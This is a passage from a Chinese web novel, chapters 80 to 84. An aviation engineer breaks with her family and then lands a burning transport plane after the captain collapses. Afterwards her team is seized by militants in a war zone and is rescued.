“今天我刚好在，而且是在公众场合，你都要对刚做过手术的姐姐大打出手，那平时呢？”
要不说，丁文泽能是他们这一帮兄弟的军师，真够腹黑，说话句句戳人心窝子。
看热闹的人当中几个女人完全感同身受，一个个瞪着隋航，还有人直接阴阳怪气，“哎呀我跟你说，你别太偏心眼，到时候养老还得靠女儿，儿子才是白眼狼。”
隋航脸涨的跟猪肝似的，哎！父母娇养出来宝宝哪里见过这种阵仗，看着都快要哭了。
丁文泽捡起缴费单，补了最后一刀，“都这么点钱，一双球鞋的事，还逼女儿掏钱，哎！”
顺手一指隋航脚上那双鞋，他霎时觉得穿了一双烙铁。
周蕊林偷偷瞥了眼隋航脚上的鞋，她并不认识牌子，但听说这鞋要一万，心里也觉得儿子败家，但当着这么多人的面她不可能让儿子难堪。
“谢谢，”她从丁文泽手里拿走缴费单，“我这也不是什么大病，还劳烦你来看我，航航，你去缴费，先用你学费垫上，回头学费的事我们再想办法。”
苏韫在门口看着，适时疏散人群，这才结束了闹剧。
周蕊林冷着脸，咬牙切齿道：“你走吧，我不需要你养老，我就当没生过你。”
我就当没生过你。
这句话，隋英从小听到大，小时候一直在反思，她究竟做错了什么，现在她知道了，不是她的错，就像蒋弋说的，有些缘分强求不来。
她没错，只是父母不疼爱她，而已。
“妈，那你休息，我走了。”隋英平静地告别。
81. Chap.81
告别也可以是无声无息的，这一刻，隋英真正从心里将周蕊林和隋航排除在家人以外。
将来她也会替周蕊林养老，但也仅此而已。
“丁总，你怎么会来？”苏韫是听到有人投诉医闹，生怕隋英吃亏，匆匆赶来，结果就看了这么一出。
隋英看向丁文泽，再看苏韫，不是她说的吗。
丁文泽看苏韫的眼神有些赧然，“呃，你们医院订购了一批医疗器械，我送过来。”
“我们一直有合作，这点小事还用丁总亲自押送，”苏韫笑着开门，“喝什么，我办公室只有白开水和咖啡。”
隋英很自觉地自己倒水，“丁总？”
“我咖啡吧，”丁文泽有些心不在焉，“蒋弋给我发消息，说你妈妈在住院，正好我在冀北医院。”
隋英了然，上飞机前接到蒋弋电话。
“今天谢谢你。”
丁文泽也不好过多评价隋英的家庭，这个话题就此揭过。
下午她直接回南渝按部就班继续上班。
-
非洲某国战乱频发，南航在当地的航空遭遇破坏，当地维修无力回天，需要国内派遣维修员带着设备支援，现在就差一名带队工程师。
抽签名单之上的人诚惶诚恐：
“我老婆下个月生孩子，我没法去，我要是去了我老婆一准跟我离婚。”
“我妈住院，家里大大小小的事都需要我，要是让我去，我宁可辞职。”
名单之外的人阴阳怪气：
“怎么有些人就有特权。”
“后台硬呗。”
……
隋英在办公室整理文件，她想不管谁去，各类工具设备零件都要做到有备无患。
整理出一份，就让钱穗岁跑腿送去核对，缺少的赶紧申请补齐。
纷纷攘攘两天，公司让隋英提供工程师名单。
消息一出，好几个工程师找她求情，各说各的难处，还都无法反驳，要不就拿辞职威胁，个别阴阳怪气。
凭什么隋英一开始就不在这份名单上。
其实这趟出差补贴丰厚，回国直接升职加薪。
但要去往的是战乱国家，而且有消息说这个国家传染病肆虐。
升职加薪的通道很多，好处没有大到让人愿意拿生命冒险。
名单交上去，冯总很快找隋英谈话。
“你确定要去吗？虽然咱们公司男女都一样，但班吉这地方不同，先不说自然环境，就是战争和传染病这两样，都不适合女性前往。”
“冯总，我查过，我们的基本安全还是有保障的，”隋英笑道，“我其实也有一点小私心，我一直想从头到尾检修一架飞机，现在有好几架等着我，我肯定是要去的。”
冯总哈哈大笑，“你这是在夸我们公司，退役的飞机都是五成新，就是高总工，他也没碰上过一个人包揽六七架飞机大检修的好事。”
隋英颔首而笑。
“那你的身体情况呢？”
“冯总放心，我身体已经好了，班吉的飞机等着回家，我不会逞强。”
冯总略微沉吟，在文件上签了字，“一切小心。”
隋英其实说的是实话，《我的机长》下册大纲早已准备好，上册她一直想参与维修，没有赶上，只好将这一章节挪到下册。
唯一遗憾的就是明天新书上架，她今晚就得飞。
冯总看着隋英离开的背影，拳头握紧，闭上眼睛咬紧牙关，猝然睁开，看着手机上一直通话的界面：
“你都听见了。”
维修团队总共五人，隋英带队，三名维修员，吴晓烁、魏子默、王勋，和记录员钱穗岁。
钱穗岁主动请缨，倒是让隋英刮目相看。
另外就是三名机组人员。
隋英等人在江淮机场待命，她给蒋弋打电话，没有打通，只好给他留言；给苏韫也留言告知去向。
“我们在等什么？”
“去往班吉的航班都停了，南渝市医疗志愿者要搭乘我们这架运输设备的飞机。”
几人听罢，顿时肃然起敬，他们当中有人是推不掉，到现在还有抵触心里，却有人不顾一切奔向最危险的地方。
说话间，一辆大巴车停在眼前，从车上下来九位医护人员，背着行囊，一个个义无反顾。
众人登机。
因为主要是运送设备，公司将CA-8经济舱座椅拆卸掉，除了机舱装满物资外，凡是能放东西的地方都堆满东西。
公司一开始预算当中没有留医疗志愿者座椅，这下导致座位短缺。
钱穗岁小声说：“干脆多派两架飞机，多省事。”
“你说的真轻巧，”吴晓烁白了她一眼，“非洲好几个地区需要支援，蒋机他们几个都连轴转了好几天了，我们是缺飞机吗，是缺人。”
王勋将座椅稍微调整了下，“你们几个女孩子坐，我们就坐地上。”
几人正在商量座椅，驾驶室的舱门忽然打开，机长出来。
“柳机，怎么回事？”王勋问。
“临时调度，很遗憾不能和各位同行，祝君一切顺利。”
众人等了许久，新机长紧赶慢赶，竟是冯总徒弟孙硕。
本以为终于可以起飞，谁知依旧毫无动静，吴晓烁忍不住去问，得到的回复是还要等一名副驾驶。
按照公司规定，运输机可以没有副驾驶，尤其是现在特殊时刻，但既然安排，那便等。
这次等的时间不长，只是——冯世杰？
碍于有医疗志愿者，大家也不好明说，直到飞机平稳进入云层，冯世杰出来了一趟，吴晓烁几个维修再也忍不住，头对头议论。
“他才多少时长，就升成副驾驶了？”
“人家坐的是火箭，三个月就是副机，我特么三年了，还是个维修工。”
“难怪调孙机亲自带，换别的机长，绝对不会答应。”
“这就是传承。”
“切~”
隋英合上文件，摁着眉心，脑海里全是班吉机场传来的故障原因，她感觉少带了一样重要设备。
“头儿，这太明目张胆了吧，”钱穗岁用手指了指驾驶舱门，“冯总就不怕其他飞行员议论。”
隋英睁眼，她对这种事反应一向不灵光。
魏子默最气愤，“议论怕什么，我们议论有用吗，”瞥了眼隋英，“除非像蒋机这样有背景的飞行员站出来反对，否则我们的‘议论’，无关紧要。”
“老魏，别这么抵触，”王勋用胳膊肘捅了下他，用眼神示意旁边熟睡的医生志愿者，“这是特殊时期，别人还不一定来。”
“给我个工程师，我一准第一个报名。”
吴晓烁附和，“我们这趟回去，也差不多了。”
冯世杰是校招第一名，有冯总的关系，大多数学员需要经历的冷板凳他都没有，一路由老机长保驾护航，绿灯开挂。
可到目前为止，按照制度流程，他依旧没资格做副
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驾驶。
恰巧出现特殊情况，冯总顺势而为，反对声便没有那么大，等回来，副驾驶的位置板上钉钉。
驾驶舱门再次打开，冯世杰扫了一圈，最后将目光落在钱穗岁身上，“孙机要杯咖啡。”
钱穗岁一脸懵，冯世杰继续吩咐，“我要一份意面。”
这下大家听明白了，钱穗岁坐着没动，但也不敢反驳，魏子默本来就窝了一肚子氢气，冯世杰的傲慢像是火星子。
“砰！”
“冯代理副驾，我们这趟是自助餐，想吃什么自己做，”魏子默神情讥诮，“这些人是公司派去修飞机的维修员和工程师，不擅长端茶倒水。”
这番小小争执引来志愿者侧目。
王勋白了冯世杰一眼，“你师傅要喝咖啡得你亲自动手方显诚意。”
“这叫传承。”吴晓烁适时补了一句，怎么听都像是讽刺。
冯世杰到底年轻，被激了下，尤其是当着外人的面，顿时觉得脸上无光，直接走到钱穗岁面前，“你不是工程师或者维修员吧。”
这几个月基本都在飞，升的快，又有冯总做靠山，谁见了不捧一句“冯机”，只要他从驾驶舱出来，那些空乘抢着服务，哪里需要他吩咐。
更别说被人下脸。
钱穗岁期期艾艾，面对有冯总做靠山的冯世杰自然不敢反驳，可她也觉得委屈。
隋英将手放在钱穗岁身上，做了个阻拦的动作，“她是记录员，意面我不会做，咖啡我这里有贺先生送的咖啡豆，不过得你自己手磨。”
“噗……”
众人哄堂大笑，冯世杰脸色由红转白，他就算再蹦跶，也知道隋英口中的贺先生，不是他这个级别可以得罪的。
继而愤愤离开，自己给孙硕煮咖啡。
魏子默和吴晓烁故意揶揄，“煮都煮了，给我也来一杯。”
随着冯世杰一趟趟跑腿煮咖啡，飞机穿过特区，进入非洲板块。
众人沉沉睡去。
“隋英，快醒醒！”
是蒋弋的声音，仿佛穿透云层，突破机身传来。
猝然，隋英睁眼，心跳飞快，犹如心悸梦魇突然惊醒，目之所及，机舱里只有沉睡的众人。
她大概是做梦了。
隋英将手轻轻覆在机身上，有一种很不好的预感，也可能是刚刚睡梦中感觉到的轻微抖动让她不安。
她叫醒钱穗岁。
“头儿，到了？”钱穗岁迷迷糊糊揉着眼睛。
“把大家都叫醒。”隋英的声音冰冷的像机械音，钱穗岁猛然惊醒，不明所以，却还是依言叫醒旁边几个。
大家看了眼时间，离班吉还有两小时航程，嘴里嘟嘟囔囔抱怨，钱穗岁小声解释，“是隋主管让我叫醒大家的。”
隋英提高音量，“把所有人都叫醒。”
气氛骤然一紧，众人不明所以，吴晓烁还是起身将最远处的几个医生叫醒，然后所有人都看着她。
只见隋英神情冰冷，双眼死死盯着前方，像是发了癔症。
“头儿？”
隋英覆在机身上的手猛地抽搐，轻轻开口：“呼叫驾驶舱。”
吴晓烁回头看了一眼，还是拿起电话，等了几秒钟，没反应？再按一下，依旧没反应。
这下便是看不懂操作的志愿者都察觉出不对。
魏子默蹭的站起来，直接拍驾驶舱门，吴晓烁继续用内部通讯电话呼叫，一点反应都没有。
“着火了！”
82. Chap.82
“着火了！”
随着一声尖叫，机舱内顿时乱作一团，所有人都掀开窗板去看机翼，只见左翼在黑透了云层上中形成一道金色流星弧线。
惊叫、哭泣、哀嚎……
隋英掀开每一块窗板，观察了一圈，心里有了基本判断。
飞机没有失能，尾翼也正常运行，继而保证飞机的平衡。
“你们几个在干什么？”隋英回头，大声呵斥，锐利地目光逡巡了一圈，最后定格在三个维修员脸上。
说实话，隋英刚才的生气是下意识的，吴晓烁等几个维修应该能看出飞机目前情况不算太糟糕，何至于失了基本判断。
因为隋英的呵斥，机舱瞬间安静下来。
几乎每个人脸上都写满恐惧，同时又寄希望于隋英。
黑夜、驾驶舱失联、飞机机翼着火……每一样都足以令人绝望。
隋英深吸一口气，对着志愿者说道：“坐回座位，系好安全带，”她也让出了自己的座位，“飞机目前没事。”
“头儿，”钱穗岁说话牙齿打颤，吞咽了几下，“现在怎么办？”
隋英示意，“继续与机长取得联系，吴晓烁，查看我们现在的位置，王勋，想办法与地面取得联系。”
“都没有信号，除了驾驶舱，没人能与地上取得联系，”王勋说话的声腔都变了，蓦然，他看着隋英的眼睛想到了什么，猛地冲向后舱，“对啊，我们带了设备。”
话音刚落，飞机忽然强烈抖动颠簸，整个机身倾斜，站在过道里几人瞬间摔倒。
隋英艰难爬起，“大家冷静，不许尖叫，不许解开安全带，坐回去。”
她不是外勤人员，没受过专业服务训练，安抚乘客的话说话太过强硬，可偏偏在这种情况下，强硬更有信服力。
志愿者里年纪最大的医生出声：“不要慌，要相信他们。”
飞机再次翻转颠簸，这时，驾驶舱门终于打开，领航和导航托着昏迷的孙硕，艰难地爬出。
“怎么回事？”魏子默傻眼，机长昏迷，那真的是完了。
“飞机慢释压，机组故障，我是被颠醒的，才看到孙机昏迷了。”
几人将孙硕平放在过道里，其中一个医生大喊，“休克，快让开。”
他不顾危险，解开安全带，一边做心肺复苏，一边人工呼吸施救，另外一个医生配合。
魏子默扒着驾驶舱门维持平衡，“冯世杰，你傻站着干嘛，机长昏迷你来开。”
“根据公司规定，未飞满时长，是不允许独立驾驶，”冯世杰说话牙齿打颤，“孙机，快救机长。”
“你特么是副驾，机长昏迷，根据规定，副驾就该操作飞机。”
冯世杰脸色渗白渗白的，说话更是结结巴巴，“我，还不是副驾，我只是，我才刚到第，第一类副驾。”
魏子默怒火中烧，“那你怎么上来的？”
“冯总派你这个白痴来是想害死我们。”王硕也是忍无可忍。
冯世杰小声辩驳，“又不是我伯父提拔的我。”
飞机再次剧烈颠簸，魏子默没抓住，脑部撞击，重重摔在地上，又两个医生将魏子默按住，防止他再次遭受撞击，“药箱，快点！”
王勋怒吼：“冯世杰，稳住飞机啊白痴！”
“我不是机长，我不是副驾驶，”冯世杰抓狂，“机翼着火，这里是威格斯群岛上空，我们会坠海！”
隋英用眼神示意吴晓烁，后者会意，直接给冯世杰一个大逼斗，“你鬼叫什么，飞机是自动驾驶，飞机上的设备一切完好，你给我好好开飞机。”
医生指着机长孙硕问其他人：“他有没有重大病史。”
领航：“没有吧，飞行员不可能有这些问题。”
“突发心脏病，必须马上手术，”老医生被颠了下，急急抓住座椅，面上却是有条不紊指挥，“把这个座椅放平，准备麻醉。”
吴晓烁等人看傻。
隋英沉声道：“伤员交给你们。”
她抓着驾驶舱门，艰难走进去，逡巡了一圈操作台，盯着故障警报，直接坐在驾驶座位上，“现在我来驾驶飞机。”
众人怔怔望着隋英，只见她先关了报警器，继而操作着旋钮、按钮。
领航问：“隋工，你会开飞机？”
冯世杰好笑地看着隋英，“你只是个工程师，听说你很厉害，连我叔都让你坑了，但你驾驶飞机，你是在搞笑吗？我觉得领航都比你靠谱。”
“我……”领航微不可查地摇摇头，继而一派赴死状，“我，可以试试。”
“现在情况紧急，我有话就直说了。”隋英断开自动驾驶，这一行为直接吓得冯世杰和领航扑上来，却见隋英操作拉杆，飞机瞬间减轻颠簸，摇摆幅度骤降。
两人直直愣住。
隋英盯着仪表盘上的动态，“不是不相信你，如果你能操作，孙机昏迷后，你们一定能稳住飞机。”
领航心道：的确如此。
但冯世杰还是反对，“工程师，说白了就是个高级维修工，你们见过哪个航空公司的维修工会开飞机，你以为这是拍电影。”
像是为了印证他的话，飞机再次倾斜。
机长昏迷，副驾是走后门进来的白痴，左翼着火，再次响起的故障警报声像是催命符。
医生在座位上搭起建议手术操作台，主刀医生身后有两个稳住他身子，虽然一切看上去有条不紊，可每个人的神情都出卖了他们。
仿佛他们救的不是孙硕的命，而是自己。
“不然你来。”隋英忍无可忍。
冯世杰下意识摆手，“我不是机长，按照规定，非机长不得操作飞机。”
隋英虽然这么说，但手上动作没停，快速按下按钮，关闭警报，没管冯世杰尖叫，“领航，继续想办法联系地面。”
导航默默坐回自己位置，操作着仪表盘，“我们已经偏航太多，按照航程，两小时后应该落在班吉，但现在飞机上的油不足以支撑我们到班吉，怕是得迫降。”
“说的对，”隋英赞许道，“左翼马上会失能，必须紧急迫降，看最近的机场在哪里。”
领航也回到自己岗位，关闭舱门，吓得冯世杰弹跳起飞，“你们真要配合她，是想我们都死吗。”
“坐回去！”领航目露凶光，硬生生逼着冯世杰坐回座位。
导航快速通报最近机场，但与地面无法取得联系，自然就无法紧急降落在机场，“还是联系不上。”
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这时飞机几乎九十度倾斜，挡风玻璃外犹如深渊巨口，仿佛下一秒就会无情地吞噬飞机。
冯世杰抓着安全带，“隋英，你不要乱操作，呜呜……”
“有信号，”导航惊呼，“…又没有了，啊！”他一个没抓稳，直接翻转撞击，瞬间失去意识。
隋英操作着飞机，“快叫醒他，千万不能昏迷，冯世杰！”
冯世杰战战兢兢去叫导航，机身又渐渐恢复平衡，他才回神，“他受伤了，”说着打开舱门，将导航拖了出去。
机舱内医生居然还在给孙硕做手术。
魏子默头上缠着绷带，人已经清醒，见有人受伤，还帮着抬人。
“你快回去，”他冲着冯世杰吼道，“他交给我们。”
冯世杰摇摇晃晃站起，抓着扶手，“你们就看着一个工程师开飞机？”
吴晓烁已经先一步进了驾驶舱，接替导航，继续呼叫地面，王勋恶狠狠瞪着冯世杰，他只能起身，连滚带爬进了驾驶舱。
“我们已经失联超过一个小时，地面肯定在想办法。”
“偏航45度，飞行大约27分钟，按照这个速度，”吴晓烁快速查着飞行图，“预计十分钟之内到莉萨拉，距离目的地超过一百公里。”
“那是什么地方？”
“班吉南部，具体不清楚，糟糕，莉萨拉没有机场。”
“飞机失温，左翼……”
隋英身体大约倾斜七十度，胃里翻江倒海，眼前漆黑一片，仿佛又回到了七年前那些至暗时刻。
凭着记忆摸索着按钮，脑海里构建出班吉附近的机场及航行路线。
“莉萨拉有一座废弃机场。”出发前反复核查资料，隋英十分清楚。
“没有标注啊，”吴晓烁说道，“我们公司对废弃的机场都有标注，但是莉萨拉没有机场。”
冯世杰惊呼：“现在当务之急是呼叫地面，等待指示。”
“有，莉萨拉机场是八九十年代建造，但是没有完工，之后废弃。”隋英说道。
话音刚落，仪表盘上十几个警报信号同时响起，此起彼伏，直击灵魂。
冯世杰抱着自己，将头深深埋下，“我不该答应……”
机翼发动机忽然熄灭，隋英持续尝试开启，液压泵控制器失灵……“不行了，必须迫降，冯世杰，打开舱压控制面板。”
“左翼彻底失灵，隋工？”领航抓着座椅。
“甩掉左翼，单发降落！”隋英的声音犹如破开警报的冷兵器，冷冷刺穿心脏。
冯世杰满脸泪水，“你疯了？啊啊啊！”
他彻底失控，嚎啕声一时间竟盖过警报声。
隋英大声喝道：“吴晓烁，通知大家！”
吴晓烁下意识拿起通讯器，这才想起飞机上的通讯器早已失灵，直接起身打开舱门吼道：“所有人坐好，系好安全带，飞机马上迫降，迎接撞击。”
哭声、喊声、质疑声交织，隋英基本听不见，视线死死盯着挡风玻璃外的黑夜。
黑暗稀释了机舱内的光亮，每个人的脸仿佛只有120P，似乎打开的是上个世纪的黑白电视，画质还是雪花状。
所有人绝望地闭上眼睛，等待最后时刻。
83. Chap.83
直到最后一刻，隋英还是稀里糊涂的，她究竟是如何将飞机迫降在莉萨拉废弃机场的。
猛烈的撞击擦行让她险些失去意识，之后一切变得虚幻起来，似乎闻到烧焦的味道，在呼喊声中，犹如踩在风浪中的甲板上，摇晃着下飞机。
清晨第一缕阳光透过粉尘，照在每个劫后余生的脸上。
隋英本能的，第一时间拿走飞行数据。
莉萨拉废弃机场，其实就是推平了一块地，建了几间平房，当然，现在只剩房屋地基。
极目眺望，目之所及皆是荒漠沙丘，看不见人烟城市。
好在他们带了卫星通讯设备，冯世杰边哭边向公司汇报，医生将孙硕抬下飞机，试图联络附近医院，吴晓烁几个联系班吉分公司同事……
坏消息一个接一个：
莉萨拉废弃机场通往班吉的道路在交战区，分公司领导已经在交涉，但……
孙硕情况越来越不好，再不送医院，会有生命危险；
以上，都不是最重要的。
仔细听，他们依稀能听到炮火声，说明附近在打仗，一架着火的飞机从天而降，只要没瞎，都能看到。
此地混战，他们这架飞机满载物资和重要人才，等于是在高呼：“我是肥羊，快来宰我！”
可能已经有人往这里赶。第一种可能，抢夺物资，把他们都杀了；第二种可能，稍微有点脑子的人发现他们这里有医生和机械工程专家，那一定是欣喜若狂，留为己用啊。
当然，还有最好的结果，他们手持护照，那些手持枪炮的武装自行退去。
但这种情况也就出现在电影里，实际情况是，都已经杀红了眼，谁管你。
刚刚经历了飞机失控，死里逃生，众人看隋英的眼神多有崇拜和希望，都等着她发号施令。
“先搭两顶帐篷，”隋英稳住心神，“魏工，周平，你们两个受伤了，原地休息。”
“我没事，我搭帐篷。”魏子默脑袋上缠着绷带，起身去飞机上搬物资，导航周平也说自己没事，跟着一起搭帐篷。
隋英点头，“冯副机，继续保持与公司联系，吴晓烁，想办法，不管是联系大使馆，还是我们分公司的副总，看有没有其他路线能让我们把设备运回去。”
“都这个时候，你还想着运设备？”冯世杰不可思议。
隋英凝眉，“不把设备运回去，班吉机场飞机全都歇菜，谁也回不去。”
冯世杰不说话了。
“穗岁，清点物资，看看损坏了多少，列个单子出来。”
“赵院长，机长就交给你们了。”
“王勋，你和一起检查飞机。”
帐篷搭起，大家休整，隋英检查了一圈飞机，刚拿起饼干，有人高呼，“你们快看！”
怕什么来什么。
只见不远处飞驰而来一辆皮卡，车上站着手持长枪的武装团伙，他们还对着天空开枪，几下逼近，高喊当地语言。
“怎么办？”
所有人齐刷刷看向隋英，此刻所有人已经都把她当成主心骨。
就连冯世杰也不挑刺了，躲在最后，
隋英吞了吞口水，她哪里知道怎么办，视线瞥向吴晓烁，“回消息了没有？”
吴晓烁点头，“总部和分公司都向班吉大使馆递交了我们的信息，大使馆回复，正在想办法，公司让我们保护好物资，另外当地医院也派车来接赵院长他们，但车估计一时半会过不来。”
“公司让我们保护物资？”魏子默冷笑。
其他人也都附和，“拿什么保护？我们手拉手围成一圈保护。”
“等一下大家都不要反抗。”隋英声音颤抖，面对一群持枪匪徒…呃，雇佣兵？呃…地方武装…不知道是什么，目前唯一能做的是不要激怒人家。
别说这伙人手里有家伙，就是赤手空拳，他们也只有挨揍的份。
飞机上的物资除了药品，就是维修飞机亟需设备，没有它们，飞机就飞不起来，交通瘫痪，可不值得他们拿生命去保护。
这种物资可以量产，现在就是送不来。
皮卡转眼而至，起初，他们面对一架飞机这样的庞然大物的突然出现，还有所试探，但看到这些人缩在帐篷不敢出来，直接拿枪对着他们，叽哩哇啦呼呼喝喝。
“你们谁懂当地语言？”
没人应声，隋英机械地往外走，她感觉用尽全身力气，也才迈出一步，赵院长忽然拦住她，“你们女同志不要出去，我去。”
吴晓烁站了出来，“院长，我还是我出去交涉。”
其他人你看我，我看你，眼神里惶恐焦躁又带着希望。
这就是没有经历过战争的眼神。
两人僵硬地站在门口，先用中文试着沟通，又用英文沟通，均无果。
隋英等人的目的地是分公司在班吉的机场，谁也没能预料到飞机会出问题，是以没准备翻译。
接应医疗志愿者的人员也在班吉，是以同行人员也没有翻译。
现在没法沟通，不用出去，隋英也能听到他们爬上飞机后的欢呼声，以及搬运物资的拖拽撞击声。
听的她心里一凛一凛的，不知道是害怕，还是心疼设备。
所有人都在祈祷，搬完物资，把他们丢在这就行，但怎么可能？
这伙人，搬物资的搬物资，顺便派了两人，用枪抵着他们，将他们赶出帐篷，当看到躺在担架床上的孙硕时，眼睛登时亮了。
其中一人掀开孙硕身上的衣服，看着包扎和医用设备，两人叽叽咕咕说了几句，然后直接跑出去，对着皮卡车里说了几句。
这时，皮卡车里跳下一个没有戴面巾的黑人络腮胡，直接走进帐篷，检查了孙硕，然后出来，用不太熟练的英文问：“谁是医生。”
其实从这几人的动作比划上，隋英等人基本能判断出他们在干什么。
战争，医生不可或缺。
赵院长沉声说道：“你们谁也别动，我一个人去。”说着睨了眼隋英，然后站出去，用英文承认自己是医生。
络腮胡又问：“那你们是什么人？”
魏子默说：“我们都是机组人员。”
胡子若有所思，“带这么多物资，不可能只来一个医生。”说着拿枪抵着魏子默，所有人直接吓傻。
“他们几个都是医
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生。”冯世杰情急之下喊出。
这个时候谁也顾不上责备他，赵院长说道：“我们是医疗志愿者，我们是来帮助你们的，里面那个突发心脏病，我们刚给他做了手术。”
络腮胡点头，“感谢！那谁是机长？”
吴晓烁指着帐篷，“机长突发心脏病，就在里面。”
“哦？那你们是如何安全降落的？”
“呃…有副机长，”吴晓烁咬着舌尖，“机长昏迷，要不然我们都安全降落了。”
但此刻，他们齐齐看着隋英，因为冯世杰正指着她。
冯世杰见其他人怒目圆瞪，急急辩解：“本来就是她将飞机开到这的。”
胡子打量着隋英，“美丽的女机长，能告诉我，这是什么？”他手里拿着的正是隋英的工作日志。
“你好像很熟悉这些设备。”他拿枪对着冯世杰的脑袋，“为什么？”
冯世杰直接吓得蹲地上，“因为她是工程师。”
胡子收枪，“会开飞机的工程师，正是我们需要的人。”他挥手示意，手下拿枪驱赶他们。
“等等，”隋英盯着那个大胡子，“我们机长还在昏迷，必须有医生看着，还有他们，只是普通机组人员，请你放过他们。”
“哈哈哈……”
胡子笑的甚是诡异，仿佛长久战争侵蚀了血肉，将人变成一头随时会失控的怪物，在炎炎沙土烈日下，有种踏入古墓的阴森恐怖感。
“你们都是来支援的吧，会派废物来吗。”
这话问的，吴晓烁、魏子默几个下意识看向冯世杰，只是这会他们被恐怖笼罩，不敢有任何大动作。
那大胡子也是妙人，挥着手枪招呼冯世杰，“你，照顾他。”指了指帐篷里的孙硕。
“我不是医生。”
话音未落，脑袋上立刻抵着枪，吓得冯世杰抢地哭爹喊娘，捣头如蒜，“我照顾，我照顾！”
没人鄙夷他，因为他们个个双腿发软，假如这枪抵在他们头上，他们也未必能站着赴死。
胡子做了个请的姿势，隋英只得跟着。
他突然顿住，叽哩哇啦叫唤了几声，隋英警惕地看着四周，好像着拿枪的人数减少了，在飞机上搬东西人同伴都不见踪影了。
“趴下！”一声嘹亮的中文，飞机底下，左右两边，上空皆出现迷彩服，隋英等人直接原地趴下。
几声枪响后，空中传来直升机轰鸣声，最后稳稳落在莉萨拉废弃机场。
“隋英。”
呼喊声中，隋英听到一抹熟悉的声音，她抬头，望着跳下直升机，向她飞奔而来的蒋弋，泪水扑簌簌地流。
所有人都哭了。
“蒋机！呜呜……”吴晓烁哀嚎着扑上去，被一把推开，蒋弋跑过来，蹲跪在隋英面前，将她扶着坐起。
远处炮火连天，身边有穿着迷彩服的军队打扫战场，以及与这些当地武装沟通。
从飞机着火，到被人拿枪抵着，精神紧绷了七八个小时，终于看到心心念念的人，身上的气力像是瞬间被抽干。
“蒋弋，你终于来了。”隋英望着蒋弋，哭到不能自持，最后直接晕在他怀里。
84. Chap.84
隋英再次醒来时，已是漫天繁星。
吴晓烁端着泡面走过来，“你要再不醒，蒋机就要第一百次叫医生了。”
隋英摸着脸颊，吴晓烁嘿嘿笑着跑出去，蒋弋拿着毛巾进来，见她醒了过来，一个箭步跨过来，直接将她拥入怀中。
“你怎么在这里？”隋英下巴搁在他肩头，拥着他宽厚的肩膀，心里无比安定。
“来收拾你。”蒋弋咬牙切齿。
看到隋英的留言，蒋弋气的差点回国质问，可彼时隋英已经飞了。
蒋弋辗转到班吉，却听到CA-8失联的消息，心里隐隐察觉出不对劲，他第一次动用关系，能查的人都查了，一些隐晦多年的事也都被他翻出来。
那59分钟，是他人生中最漫长的一个小时，他甚至想，哪怕此生与隋英再无重逢的可能，只要她好好的在某个地方活着就行。
蒋弋是提前收到“一架不明飞机降落在莉萨拉”的消息，紧接着便是CA-8机组通过卫星电话打来的求救电话。
隋英抬头，摸着他下巴长出的青茬，“我听说班吉到这里最近的公路都在交战，你是怎么来的？”
“迂回穿插。”
那几个小时突破封锁交战区，对蒋弋来说竟是畅意轻松，欣喜若狂的。
他也没提动用了多少关系，与各方势力周旋，更没提用两座工厂换来的通行。
“他们是些什么人？”
蒋弋亲亲她额头，“吉尔斯南部义军。”
“义军？”隋英从他怀里坐起，引起蒋弋不满，她只能重新躺回去，“那他们怎么能抢我们的物资，还想劫持我们。”
“他们与莉萨拉保卫军对战多日，伤亡惨重，急需药品和医生，”蒋弋嘴角牵起，戏谑道：“当然有你这样的机械工程专家加入，自然是如虎添翼。”
隋英白了他一眼，“就这样还义军呢。”
“这是人家的番号。”
也对，自古交战讲究师出有名，哪怕造反，打的也是正义的名号。
“那你来的时候跟他们有没有碰上？”
蒋弋挑眉，“跟瑞斯撒拉护卫队碰上和班吉正规军碰上，现在直接跟吉尔斯南部义军交火。”
“正规军？”隋英再次坐起，又被按回去，觑着蒋弋神情，“明白，也是番号。”
“机长，吉尔斯南部义军送回去了，没有人员伤亡。”站在敞篷帐篷外盯着腻歪的两人，一派义正严词。
隋英第三次强硬坐起，还往旁边挪了下，蒋弋跟着挪了下。
“那个，送回去？为什么要送回去，他们都持枪抢劫了，应该…。”隋英语塞。
蒋弋好笑地看着她，“应该报警对不对？”
“去你的。”隋英冷哼一声，站起来，刚才也就是太尴尬，说话没过脑子，她也知道留下他们才是麻烦。
“你们刚出国，得尽快转变思维，在这里，我们尽量不与任何武装打交道，今天这事还没完。”
蒋弋在他耳边说了两句，“这是向恒。”
隋英颔首，向恒忽然换了一副面孔，“你真的只是工程师？”
“是。”隋英不明所以，还是点头。
向恒双眼放光，“工程师开飞机？而且还是一架失控的飞机？”
他这么说，帐篷周围立刻围了一圈，一个个或好奇、或怀疑、或崇拜地看着隋英，等着她回答这个问题。
其实这个问题自从隋英操控飞机开始，每个人都想问，只是当时情况紧急，没人追着问。
飞机降落，吴晓烁和冯世杰将事情汇报后，总部也提出质疑，但因为大家刚刚死里逃生，又被持枪武装盯上。
到此刻，大家安全脱险，缓了神来，正是八卦的好时机。
隋英也没藏着掖着，“我大学一开始学的是飞行员，后来换的专业。”
“为什么？”
“是不是受伤？”
蒋弋心口一痛，隋英伤了七年，放弃梦想，日夜饱尝头痛之苦，身边除了苏韫这个朋友，再无一人关心，经历生死才做的手术，他不想她再想起这些伤心事。
问“受伤”的人也看到蒋弋脸色不善，忙摆手，“我，”
“没错。”隋英倒不在意，这一天一夜的经历比她过去二十几年的经历还要惊心动魄，她突然觉得自己受的那些苦也不算什么。
有时候释然，真的是一瞬间的事。
比起这个国家的人，她遭受的不过是家庭纠纷，只是她比较倒霉而已。
隋英眼睛清明，没有回避，“受了伤，体检训练都不能达标，就换了专业，幸好学过的东西没忘。”
“中途换专业，两个完全不同的方向，一样难学，”钱穗岁由衷赞叹，“头儿，你太厉害了。”
吴晓烁附和，“已经不是专业问题，而是天才，当时左翼着火，蒋机，还有你们，有没有办法？”
其他人若有所思，一个个都摇头。
“甩掉左翼，单发降落。”
蒋弋也给出了同样答案，但亲历过的人对这个办法依旧心有余悸，然而他们都是干这行的，没有人想出更好呃办法。
以往也有飞机着火的，却无一例外机毁人亡。
“蒋机，不愧是我们的王牌飞行员！”
谁知蒋弋却摇头，“我看过飞行记录，最后导航失灵，所有电子仪器基本都瘫痪，等于是盲开，我却不知道莉萨拉有这样的废弃机场。”
从导航消失的那一刻定位，到准确让飞机降落在废弃机场，如果他事先知道莉萨拉机场，他有可能做到。
隋英是真的天赋。
“要是这样，我觉得隋工完全可以当飞行员，”魏子默脾气最硬，可他是真的佩服隋英，“总比有些废物占着位置，关键时刻一点都不顶用要强。”
